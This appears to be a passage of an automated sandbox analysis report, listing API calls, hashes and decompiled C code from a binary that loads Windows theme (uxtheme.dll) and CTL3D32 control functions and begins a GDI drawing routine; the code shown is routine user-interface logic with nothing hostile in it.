                                                          0x0044b6f3
                                                          0x0044b6f8
                                                          0x0044b6fd
                                                          0x0044b702
                                                          0x0044b704
                                                          0x0044b705
                                                          0x0044b70a
                                                          0x0044b70f
                                                          0x0044b714
                                                          0x0044b716
                                                          0x0044b717
                                                          0x0044b71c
                                                          0x0044b721
                                                          0x0044b726
                                                          0x0044b728
                                                          0x0044b729
                                                          0x0044b72e
                                                          0x0044b733
                                                          0x0044b738
                                                          0x0044b73a
                                                          0x0044b73b
                                                          0x0044b740
                                                          0x0044b745
                                                          0x0044b74a
                                                          0x0044b74c
                                                          0x0044b74d
                                                          0x0044b752
                                                          0x0044b757
                                                          0x0044b75c
                                                          0x0044b75e
                                                          0x0044b75f
                                                          0x0044b764
                                                          0x0044b769
                                                          0x0044b76e
                                                          0x0044b770
                                                          0x0044b771
                                                          0x0044b776
                                                          0x0044b77b
                                                          0x0044b780
                                                          0x0044b782
                                                          0x0044b783
                                                          0x0044b788
                                                          0x0044b78d
                                                          0x0044b792
                                                          0x0044b794
                                                          0x0044b795
                                                          0x0044b79a
                                                          0x0044b79f
                                                          0x0044b7a4
                                                          0x0044b7a6
                                                          0x0044b7a7
                                                          0x0044b7ac
                                                          0x0044b7b1
                                                          0x0044b7b6
                                                          0x0044b7b8
                                                          0x0044b7b9
                                                          0x0044b7be
                                                          0x0044b7c3
                                                          0x0044b7c8
                                                          0x0044b7ca
                                                          0x0044b7cb
                                                          0x0044b7d0
                                                          0x0044b7d0
                                                          0x0044b481
                                                          0x0044b46c
                                                          0x0044b7dc

                                                          APIs
                                                            • Part of subcall function 0044B3FC: GetVersionExA.KERNEL32(00000094), ref: 0044B419
                                                          • LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F559,0048B2C3), ref: 0044B477
                                                          • 6CAA5550.KERNEL32(00000000,OpenThemeData,uxtheme.dll,?,0044F559,0048B2C3), ref: 0044B48F
                                                          • 6CAA5550.KERNEL32(00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F559,0048B2C3), ref: 0044B4A1
                                                          • 6CAA5550.KERNEL32(00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F559,0048B2C3), ref: 0044B4B3
                                                          • 6CAA5550.KERNEL32(00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F559,0048B2C3), ref: 0044B4C5
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F559,0048B2C3), ref: 0044B4D7
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F559,0048B2C3), ref: 0044B4E9
                                                          • 6CAA5550.KERNEL32(00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll), ref: 0044B4FB
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData), ref: 0044B50D
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData), ref: 0044B51F
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground), ref: 0044B531
                                                          • 6CAA5550.KERNEL32(00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText), ref: 0044B543
                                                          • 6CAA5550.KERNEL32(00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect), ref: 0044B555
                                                          • 6CAA5550.KERNEL32(00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect), ref: 0044B567
                                                          • 6CAA5550.KERNEL32(00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize), ref: 0044B579
                                                          • 6CAA5550.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent), ref: 0044B58B
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics), ref: 0044B59D
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion), ref: 0044B5AF
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground), ref: 0044B5C1
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge), ref: 0044B5D3
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon), ref: 0044B5E5
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined), ref: 0044B5F7
                                                          • 6CAA5550.KERNEL32(00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B609
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor), ref: 0044B61B
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric), ref: 0044B62D
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString), ref: 0044B63F
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool), ref: 0044B651
                                                          • 6CAA5550.KERNEL32(00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt), ref: 0044B663
                                                          • 6CAA5550.KERNEL32(00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue), ref: 0044B675
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition), ref: 0044B687
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont), ref: 0044B699
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect), ref: 0044B6AB
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins), ref: 0044B6BD
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList), ref: 0044B6CF
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin), ref: 0044B6E1
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme), ref: 0044B6F3
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename), ref: 0044B705
                                                          • 6CAA5550.KERNEL32(00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor), ref: 0044B717
                                                          • 6CAA5550.KERNEL32(00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush), ref: 0044B729
                                                          • 6CAA5550.KERNEL32(00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool), ref: 0044B73B
                                                          • 6CAA5550.KERNEL32(00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize), ref: 0044B74D
                                                          • 6CAA5550.KERNEL32(00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont), ref: 0044B75F
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString), ref: 0044B771
                                                          • 6CAA5550.KERNEL32(00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt), ref: 0044B783
                                                          • 6CAA5550.KERNEL32(00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive), ref: 0044B795
                                                          • 6CAA5550.KERNEL32(00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed), ref: 0044B7A7
                                                          • 6CAA5550.KERNEL32(00000000,DrawThemeParentBackground,00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme), ref: 0044B7B9
                                                          • 6CAA5550.KERNEL32(00000000,EnableTheming,00000000,DrawThemeParentBackground,00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture), ref: 0044B7CB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550$LibraryLoadVersion
                                                          • String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
                                                          • API String ID: 1257722989-2910565190
                                                          • Opcode ID: c2664487c91fa70efc50b583ac569c99406fdc4e9a249c38e895fed5460e2732
                                                          • Instruction ID: aa04198c7d21d741b3178dfc5912a305b85a8b543d59139dbed20c44a61cc46f
                                                          • Opcode Fuzzy Hash: c2664487c91fa70efc50b583ac569c99406fdc4e9a249c38e895fed5460e2732
                                                          • Instruction Fuzzy Hash: FB91FFB0E51A54ABEF00EFB599C6A2A37A8EF497047500A7AB404EF295D77CD800CF5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 56%
                                                          			E0041F330() {
                                                          				int _t1;
                                                          				struct HINSTANCE__* _t2;
                                                          				intOrPtr _t3;
                                                          				struct HINSTANCE__* _t5;
                                                          				int _t6;
                                                          				struct HINSTANCE__* _t7;
                                                          				struct HINSTANCE__* _t8;
                                                          				struct HINSTANCE__* _t9;
                                                          				struct HINSTANCE__* _t10;
                                                          				struct HINSTANCE__* _t11;
                                                          				struct HINSTANCE__* _t12;
                                                          				struct HINSTANCE__* _t13;
                                                          				struct HINSTANCE__* _t14;
                                                          				struct HINSTANCE__* _t15;
                                                          				signed int _t17;
                                                          
                                                          				if( *0x48c594 != 0) {
                                                          					L10:
                                                          					return _t1;
                                                          				}
                                                          				_t1 = GetVersion();
                                                          				_t20 = _t1;
                                                          				if(_t1 < 4) {
                                                          					_t1 = E00406370(_t20);
                                                          					if(_t1 < 0x59) {
                                                          						_t17 = SetErrorMode(0x8000);
                                                          						 *0x48c594 = LoadLibraryA("CTL3D32.DLL");
                                                          						_t1 = SetErrorMode(_t17 & 0x0000ffff);
                                                          					}
                                                          				}
                                                          				if( *0x48c594 < 0x20) {
                                                          					 *0x48c594 = 1;
                                                          				}
                                                          				if( *0x48c594 < 0x20) {
                                                          					goto L10;
                                                          				} else {
                                                          					_push("Ctl3dRegister");
                                                          					_t2 =  *0x48c594; // 0x1
                                                          					_push(_t2);
                                                          					L00405AA4();
                                                          					 *0x48d630 = _t2;
                                                          					_t3 =  *0x48d014; // 0x400000
                                                          					_push(_t3);
                                                          					if( *0x48d630() == 0) {
                                                          						_t5 =  *0x48c594; // 0x1
                                                          						_t6 = FreeLibrary(_t5);
                                                          						 *0x48c594 = 1;
                                                          						return _t6;
                                                          					}
                                                          					_push("Ctl3dUnregister");
                                                          					_t7 =  *0x48c594; // 0x1
                                                          					_push(_t7);
                                                          					L00405AA4();
                                                          					 *0x48d634 = _t7;
                                                          					_push("Ctl3dSubclassCtl");
                                                          					_t8 =  *0x48c594; // 0x1
                                                          					_push(_t8);
                                                          					L00405AA4();
                                                          					 *0x48d638 = _t8;
                                                          					_push("Ctl3dSubclassDlgEx");
                                                          					_t9 =  *0x48c594; // 0x1
                                                          					_push(_t9);
                                                          					L00405AA4();
                                                          					 *0x48d63c = _t9;
                                                          					_push("Ctl3dDlgFramePaint");
                                                          					_t10 =  *0x48c594; // 0x1
                                                          					_push(_t10);
                                                          					L00405AA4();
                                                          					 *0x48c570 = _t10;
                                                          					_push("Ctl3dCtlColorEx");
                                                          					_t11 =  *0x48c594; // 0x1
                                                          					_push(_t11);
                                                          					L00405AA4();
                                                          					 *0x48c574 = _t11;
                                                          					_push("Ctl3dAutoSubclass");
                                                          					_t12 =  *0x48c594; // 0x1
                                                          					_push(_t12);
                                                          					L00405AA4();
                                                          					 *0x48d640 = _t12;
                                                          					_push("Ctl3dUnAutoSubclass");
                                                          					_t13 =  *0x48c594; // 0x1
                                                          					_push(_t13);
                                                          					L00405AA4();
                                                          					 *0x48d644 = _t13;
                                                          					_push("Ctl3DColorChange");
                                                          					_t14 =  *0x48c594; // 0x1
                                                          					_push(_t14);
                                                          					L00405AA4();
                                                          					 *0x48d648 = _t14;
                                                          					_push("BtnWndProc3d");
                                                          					_t15 =  *0x48c594; // 0x1
                                                          					_push(_t15);
                                                          					L00405AA4();
                                                          					 *0x48c56c = _t15;
                                                          					return _t15;
                                                          				}
                                                          			}


















                                                          0x0041f338
                                                          0x0041f497
                                                          0x0041f497
                                                          0x0041f497
                                                          0x0041f33e
                                                          0x0041f343
                                                          0x0041f348
                                                          0x0041f34c
                                                          0x0041f353
                                                          0x0041f35a
                                                          0x0041f36b
                                                          0x0041f374
                                                          0x0041f374
                                                          0x0041f353
                                                          0x0041f380
                                                          0x0041f382
                                                          0x0041f382
                                                          0x0041f393
                                                          0x00000000
                                                          0x0041f399
                                                          0x0041f399
                                                          0x0041f39e
                                                          0x0041f3a3
                                                          0x0041f3a4
                                                          0x0041f3a9
                                                          0x0041f3ae
                                                          0x0041f3b3
                                                          0x0041f3bc
                                                          0x0041f481
                                                          0x0041f487
                                                          0x0041f48c
                                                          0x00000000
                                                          0x0041f48c
                                                          0x0041f3c2
                                                          0x0041f3c7
                                                          0x0041f3cc
                                                          0x0041f3cd
                                                          0x0041f3d2
                                                          0x0041f3d7
                                                          0x0041f3dc
                                                          0x0041f3e1
                                                          0x0041f3e2
                                                          0x0041f3e7
                                                          0x0041f3ec
                                                          0x0041f3f1
                                                          0x0041f3f6
                                                          0x0041f3f7
                                                          0x0041f3fc
                                                          0x0041f401
                                                          0x0041f406
                                                          0x0041f40b
                                                          0x0041f40c
                                                          0x0041f411
                                                          0x0041f416
                                                          0x0041f41b
                                                          0x0041f420
                                                          0x0041f421
                                                          0x0041f426
                                                          0x0041f42b
                                                          0x0041f430
                                                          0x0041f435
                                                          0x0041f436
                                                          0x0041f43b
                                                          0x0041f440
                                                          0x0041f445
                                                          0x0041f44a
                                                          0x0041f44b
                                                          0x0041f450
                                                          0x0041f455
                                                          0x0041f45a
                                                          0x0041f45f
                                                          0x0041f460
                                                          0x0041f465
                                                          0x0041f46a
                                                          0x0041f46f
                                                          0x0041f474
                                                          0x0041f475
                                                          0x0041f47a
                                                          0x00000000
                                                          0x0041f47a

                                                          APIs
                                                          • GetVersion.KERNEL32(?,00419208,00000000,?,?,00000001,00000000), ref: 0041F33E
                                                          • SetErrorMode.KERNEL32(00008000,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F35A
                                                          • LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F366
                                                          • SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F374
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dRegister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3A4
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3CD
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3E2
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3F7
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F40C
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001), ref: 0041F421
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000), ref: 0041F436
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208), ref: 0041F44B
                                                          • 6CAA5550.KERNEL32(00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister), ref: 0041F460
                                                          • 6CAA5550.KERNEL32(00000001,BtnWndProc3d,00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl), ref: 0041F475
                                                          • FreeLibrary.KERNEL32(00000001,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F487
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550$ErrorLibraryMode$FreeLoadVersion
                                                          • String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
                                                          • API String ID: 575290059-3614243559
                                                          • Opcode ID: bfc370baaf9c7f81fb8fa6dd250a2968227bca2fb7edd1cde8a0f605dc3758c4
                                                          • Instruction ID: abf366189182d0570838c19227c35d070b01808c9469fe006c11eebae9a79656
                                                          • Opcode Fuzzy Hash: bfc370baaf9c7f81fb8fa6dd250a2968227bca2fb7edd1cde8a0f605dc3758c4
                                                          • Instruction Fuzzy Hash: 5631F271A51614BEEF10DFA5FEC5A5E3394A758304710097EB108DB192D77CA849CF2C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 47%
                                                          			E0041CC24(void* __eax, int __ecx, intOrPtr __edx, char _a4, intOrPtr _a8, int _a12) {
                                                          				void* _v8;
                                                          				intOrPtr _v12;
                                                          				void* _v16;
                                                          				void* _v20;
                                                          				void* _v24;
                                                          				struct HDC__* _v28;
                                                          				struct HDC__* _v32;
                                                          				struct HDC__* _v36;
                                                          				struct tagRECT _v52;
                                                          				struct HDC__* _t58;
                                                          				void* _t60;
                                                          				intOrPtr _t71;
                                                          				struct HDC__* _t72;
                                                          				struct HBRUSH__* _t105;
                                                          				intOrPtr _t125;
                                                          				intOrPtr _t136;
                                                          				intOrPtr _t137;
                                                          				intOrPtr _t138;
                                                          				int _t141;
                                                          				int _t144;
                                                          				void* _t147;
                                                          				void* _t149;
                                                          				intOrPtr _t150;
                                                          
                                                          				_t147 = _t149;
                                                          				_t150 = _t149 + 0xffffffd0;
                                                          				_t144 = __ecx;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_t125 = _a8;
                                                          				_t141 = _a12;
                                                          				_v16 = 0;
                                                          				if(_v8 != 0 || __ecx != 0 && _t141 != 0) {
                                                          					_push(0);
                                                          					L00406034();
                                                          					_v28 = 0;
                                                          					_t58 = _v28;
                                                          					_push(_t58);
                                                          					L00405CDC();
                                                          					_v32 = _t58;
                                                          					_push(_t147);
                                                          					_push(0x41ce7a);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t150;
                                                          					if(_a4 == 0) {
                                                          						_push(_t141);
                                                          						_push(_t144);
                                                          						_t60 = _v28;
                                                          						_push(_t60);
                                                          						L00405CD4();
                                                          						_v16 = _t60;
                                                          					} else {
                                                          						_push(0);
                                                          						_push(1);
                                                          						_push(1);
                                                          						_push(_t141);
                                                          						_push(_t144);
                                                          						L00405CC4();
                                                          						_v16 = 0;
                                                          					}
                                                          					if(_v16 == 0) {
                                                          						E0041B5AC();
                                                          					}
                                                          					_v24 = SelectObject(_v32, _v16);
                                                          					_push(_t147);
                                                          					_push(0x41ce33);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t150;
                                                          					if(_t125 == 0) {
                                                          						PatBlt(_v32, 0, 0, _t144, _t141, 0xff0062);
                                                          					} else {
                                                          						_t105 = E0041A8F8( *((intOrPtr*)(_t125 + 0x14)));
                                                          						E0040AE50(0, _t144, 0,  &_v52, _t141);
                                                          						FillRect(_v32,  &_v52, _t105);
                                                          						SetTextColor(_v32, E0041A270( *((intOrPtr*)( *((intOrPtr*)(_t125 + 0xc)) + 0x10))));
